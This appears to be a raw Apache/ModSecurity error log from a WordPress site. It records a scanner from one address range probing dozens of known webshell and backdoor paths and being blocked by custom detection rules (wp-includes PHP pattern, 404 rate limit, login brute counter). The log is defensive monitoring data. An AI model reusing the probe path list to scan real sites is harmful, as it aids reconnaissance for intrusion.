[Sat Feb 28 08:45:40.271733 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.31:58653] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/fileman.php"] [unique_id "aaI6tGuX5e1Q32gqxH0cKAAAAQw"]
[Sat Feb 28 08:45:41.602164 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.30:38521] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaI6taIAO5fN7BxyqcEuoAAAANg"]
[Sat Feb 28 08:45:42.488276 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.31:31855] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaI6thVE-FfM89u7BQafVQAAAJE"]
[Sat Feb 28 08:45:44.721570 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.25:51081] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaI6uGuX5e1Q32gqxH0cawAAARM"]
[Sat Feb 28 08:45:45.591604 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.29:40587] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaI6uX6mbajs3bzQGyuaGgAAAVc"]
[Sat Feb 28 08:45:47.376809 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.30:60997] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaI6u6IAO5fN7BxyqcEu2QAAAM0"]
[Sat Feb 28 08:45:48.249268 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.29:59231] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aaI6vH6mbajs3bzQGyuaOgAAAVM"]
[Sat Feb 28 08:45:49.126282 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.20:32645] [client 173.244.55.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.20, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaI6vX6mbajs3bzQGyuaRQAAAVI"]
[Sat Feb 28 08:45:49.133460 2026] [proxy_fcgi:error] [pid 22194:tid 22214] [client 173.244.55.20:32645] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:49.576173 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.20:32645] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaI6vX6mbajs3bzQGyuaTAAAAU8"]
[Sat Feb 28 08:45:51.341464 2026] [proxy_fcgi:error] [pid 39185:tid 39258] [client 173.244.55.29:23987] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:51.777121 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.29:23987] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaI6vxVE-FfM89u7BQafuQAAAJQ"]
[Sat Feb 28 08:45:52.659099 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.30:39593] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aaI6wH6mbajs3bzQGyuacAAAAUY"]
[Sat Feb 28 08:45:53.534712 2026] [proxy_fcgi:error] [pid 22194:tid 22208] [client 173.244.55.30:61447] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:45:55.325442 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.30:61447] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin-footer.php"] [unique_id "aaI6w36mbajs3bzQGyuakQAAAUo"]
[Sat Feb 28 08:45:57.529206 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.29:44223] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aaI6xRVE-FfM89u7BQaf_QAAAIw"]
[Sat Feb 28 08:45:58.417214 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.21:26861] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aaI6xn6mbajs3bzQGyuaugAAAUo"]
[Sat Feb 28 08:46:01.042872 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.25:30219] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aaI6yWuX5e1Q32gqxH0digAAAQs"]
[Sat Feb 28 08:46:01.939752 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.23:55945] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aaI6yaIAO5fN7BxyqcEvYwAAAMA"]
[Sat Feb 28 08:46:02.830454 2026] [proxy_fcgi:error] [pid 39185:tid 39262] [client 173.244.55.29:51273] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:46:03.270612 2026] [:error] [pid 39185:tid 39259] [client 173.244.55.29:51273] [client 173.244.55.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaI6yxVE-FfM89u7BQagKQAAAI0"]
[Sat Feb 28 08:46:04.160568 2026] [:error] [pid 39185:tid 39260] [client 173.244.55.29:51273] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aaI6zBVE-FfM89u7BQagNAAAAI4"]
[Sat Feb 28 08:46:06.840687 2026] [:error] [pid 39185:tid 39256] [client 173.244.55.26:40459] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aaI6zhVE-FfM89u7BQagTwAAAIo"]
[Sat Feb 28 08:46:07.733452 2026] [proxy_fcgi:error] [pid 11791:tid 11796] [client 173.244.55.21:26253] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:46:08.174928 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.21:26253] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aaI60GuX5e1Q32gqxH0eIQAAAQc"]
[Sat Feb 28 08:46:09.045237 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.29:55019] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aaI60aIAO5fN7BxyqcEvwAAAAMg"]
[Sat Feb 28 08:46:09.929117 2026] [proxy_fcgi:error] [pid 11791:tid 11803] [client 173.244.55.26:63709] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:46:10.371566 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.26:63709] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd-1/dedi1.php"] [unique_id "aaI60muX5e1Q32gqxH0eQQAAAQc"]
[Sat Feb 28 08:46:12.137764 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.21:60941] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaI61KIAO5fN7BxyqcEv5wAAANI"]
[Sat Feb 28 08:46:13.922677 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.29:57929] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaI61WuX5e1Q32gqxH0eigAAARY"]
[Sat Feb 28 08:46:14.818726 2026] [proxy_fcgi:error] [pid 39292:tid 39315] [client 173.244.55.23:46651] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:46:15.713947 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.23:46651] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:46:16.607458 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.23:46651] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aaI62KIAO5fN7BxyqcEwRgAAAM8"]
[Sat Feb 28 08:46:17.511278 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.26:58587] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aaI62aIAO5fN7BxyqcEwVQAAANI"]
[Sat Feb 28 08:46:18.822274 2026] [:error] [pid 39292:tid 39314] [client 173.244.55.29:65135] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/count.php"] [unique_id "aaI62qIAO5fN7BxyqcEweQAAANQ"]
[Sat Feb 28 08:46:19.718550 2026] [proxy_fcgi:error] [pid 39184:tid 39223] [client 173.244.55.26:34357] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:46:20.169221 2026] [:error] [pid 39184:tid 39226] [client 173.244.55.26:34357] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/class_update_plugins.php"] [unique_id "aaI63FtZF9Zd_U7easB-FQAAAEc"]
[Sat Feb 28 08:46:21.048203 2026] [:error] [pid 39184:tid 39237] [client 173.244.55.22:51441] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/class_update_plugins.php"] [unique_id "aaI63VtZF9Zd_U7easB-HgAAAFI"]
[Sat Feb 28 08:46:22.945449 2026] [:error] [pid 39184:tid 39224] [client 173.244.55.31:34489] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/class_update_plugins.php"] [unique_id "aaI63ltZF9Zd_U7easB-MgAAAEU"]
[Sat Feb 28 08:46:23.819785 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.26:25501] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/class_update_plugins.php"] [unique_id "aaI636IAO5fN7BxyqcEwywAAAM8"]
[Sat Feb 28 08:46:24.694159 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.22:63715] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/class_update_plugins.php"] [unique_id "aaI64GuX5e1Q32gqxH0fTAAAAQ0"]
[Sat Feb 28 08:46:27.821263 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.25:55191] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aaI642uX5e1Q32gqxH0fmAAAAQI"]
[Sat Feb 28 08:46:30.472092 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.28:51327] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/"] [unique_id "aaI65n6mbajs3bzQGyucswAAAUA"]
[Sat Feb 28 08:46:40.868051 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.29:34675] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaI68KIAO5fN7BxyqcExwAAAANc"]
[Sat Feb 28 08:46:41.754132 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.20:60647] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aaI68aIAO5fN7BxyqcExzQAAANc"]
[Sat Feb 28 08:46:43.969363 2026] [:error] [pid 39184:tid 39241] [client 173.244.55.26:42985] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "aaI681tZF9Zd_U7easB_PAAAAFY"]
[Sat Feb 28 08:46:45.738272 2026] [:error] [pid 39183:tid 39216] [client 173.244.55.23:30183] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aaI69RCf4HvhVePw3Laf4wAAABg"]
[Sat Feb 28 08:46:48.397271 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.22:31487] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-admin/includes"] [unique_id "aaI6-BVE-FfM89u7BQah4gAAAJA"]
[Sat Feb 28 08:46:50.628815 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.31:64309] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "aaI6-n6mbajs3bzQGyueCgAAAUM"]
[Sat Feb 28 08:46:52.420308 2026] [:error] [pid 39185:tid 39255] [client 173.244.55.20:30471] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3"] [unique_id "aaI6_BVE-FfM89u7BQah_wAAAIk"]
[Sat Feb 28 08:46:53.311163 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.25:55113] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3"] [unique_id "aaI6_WuX5e1Q32gqxH0hcgAAAQw"]
[Sat Feb 28 08:46:56.417096 2026] [:error] [pid 39183:tid 39203] [client 173.244.55.21:51861] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/meta/"] [unique_id "aaI7ABCf4HvhVePw3LagNwAAAAs"]
[Sat Feb 28 08:46:59.929814 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.26:52135] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upload/image/"] [unique_id "aaI7A36mbajs3bzQGyuevAAAAU0"]
[Sat Feb 28 08:47:03.015252 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.28:28177] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aaI7B36mbajs3bzQGyue-gAAAUQ"]
[Sat Feb 28 08:47:04.368362 2026] [:error] [pid 39184:tid 39230] [client 173.244.55.25:51603] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/editor/"] [unique_id "aaI7CFtZF9Zd_U7easCAAQAAAEs"]
[Sat Feb 28 08:47:08.829543 2026] [:error] [pid 39185:tid 39250] [client 173.244.55.22:38573] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/"] [unique_id "aaI7DBVE-FfM89u7BQaimgAAAIQ"]
[Sat Feb 28 08:47:12.400868 2026] [:error] [pid 39183:tid 39194] [client 173.244.55.31:23845] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/"] [unique_id "aaI7EBCf4HvhVePw3LagdgAAAAI"]
[Sat Feb 28 08:47:13.732040 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.28:61481] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mt/"] [unique_id "aaI7EWuX5e1Q32gqxH0jLwAAAQ4"]
[Sat Feb 28 08:47:17.690503 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.25:51037] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "aaI7FWuX5e1Q32gqxH0j2gAAARA"]
[Sat Feb 28 08:47:18.572070 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.29:30589] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "aaI7Fn6mbajs3bzQGyuf2AAAAU4"]
